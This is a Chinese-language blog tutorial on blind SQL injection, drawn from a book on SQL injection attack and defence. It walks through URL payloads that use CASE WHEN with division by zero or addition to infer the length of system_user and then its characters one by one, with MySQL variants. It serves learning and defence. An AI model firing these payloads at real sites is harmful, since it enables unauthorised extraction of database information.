跳到主要內容

SQL Injection Get Username

SQL Injection Get Username

在『SQL Injection  attack and defense 』 by Justin Clarke,這本書上看到的蠻有意思的攻擊手法。

目的:

在無法直接顯示攻擊資料的狀況下,得到Username。

概要流程:

  1. 確認Username長度
  2. 找出完整Username名稱

攻擊說明:

步驟1、

現在假設我們有一個確認有SQLi漏洞的URL:
http://www.test.com?id=12

這邊以MSSQL為例,步驟1的攻擊如下:
http://www.test.com?id=12/(case+when+(len(system_user)+>+8)+then+1+else+0+end)
(註:在URL中,「+」會被解析成空白。)

這邊簡單來說就是要做除法運算:
12÷ (後面的結果)


而SQL語法的部份,主要是用CASE語句:
CASE WHEN condition THEN result1 ELSE result2 END

另一個部份:
len(system_user) > 8
檢視username長度是否大於8
(註:在MySQL中,是使用length()做查詢。)
(註:MySQL需要將system_user改成user()。)

所以透過上面的語法,我們可以做以下的解釋:
當username長度大於8時,回傳1,否則回傳0

所以最後的結果,會有兩種狀況:
狀況1.  12 ÷ 1=12
狀況2.  12 ÷ 0= ERROR

狀況1,我們可以原來的頁面,因為id是相同的12,但是狀況2的話,則會出現錯誤,很可能就會顯示『500 Internal Server Error』。 透過這個方式,我們可以調整長度,找出確切的長度,可以用類似二分法的減少攻擊次數。

步驟2、

確認長度以後,接下來我們要開始找完整username了!

攻擊指令:
http://www.test.com?id=12/(case+when+(ascii(substring((select+system_user),1,1))+>+64)+then+1+else+0+end)

這邊跟步驟1比較不一樣的地方是ascii()以及substring()

  • substring(原字串, 起始取值位置, 欲取得的字數)
    • EX: substring("test",2,1) => e
  • ascii():轉成ascii編碼(ASCII Table http://www.asciitable.com/ )

串接起來以後:
ascii(substring((select system_user), 1, 1)  > 64

我們可以這樣解釋:
system_user的第一個字母,轉成ascii後大於64

完整的解釋,會是這樣:
system_user的第一個字母,轉成ascii後,若是大於64,回傳1,否則回傳0

透過這個方式,假設username長度為5,我們可以這樣一個一個去檢測:
substring((select system_user),1 ,1)
substring((select system_user),2 ,1)
substring((select system_user),3 ,1)
substring((select system_user),4 ,1)
substring((select system_user),5 ,1)
然後透過步驟1有說過的方式慢慢找出每一個位置的字母

這攻擊手法,可以稍微做一些調整,將除法改成加法,這樣可以避免產生錯誤訊息,如下:
http://www.test.com?id=12%2B(case+when+(len(system_user)+>+8)+then+1+else+0+end)
需要特別注意的是,這邊我們將「+」改成「%2B」,原因是在於「+」在URL裡面是保留字元,會被解析成空白,這也是為什麼會用到這麼多「+」的原因。
調整後,我們會得到新的結果:
  • 12+1=13
  • 12+0=12
因此,我們可以根據頁面是屬於id=13或是id=12,來判斷攻擊的結果。

資料參考:

  • SQL Injection  attack and defense, by Justin Clarke

備註:

  • URL保留字元:「:」、「/」、「?」、「#」、「[」、「]」、「@」、「!」、「$」、「&」、「'」、「(」、「)」、「*」、「+」、「,」、「;」、「=」、「;」
  • URL編碼表:http://www.w3school.com.cn/tags/html_ref_urlencode.html




留言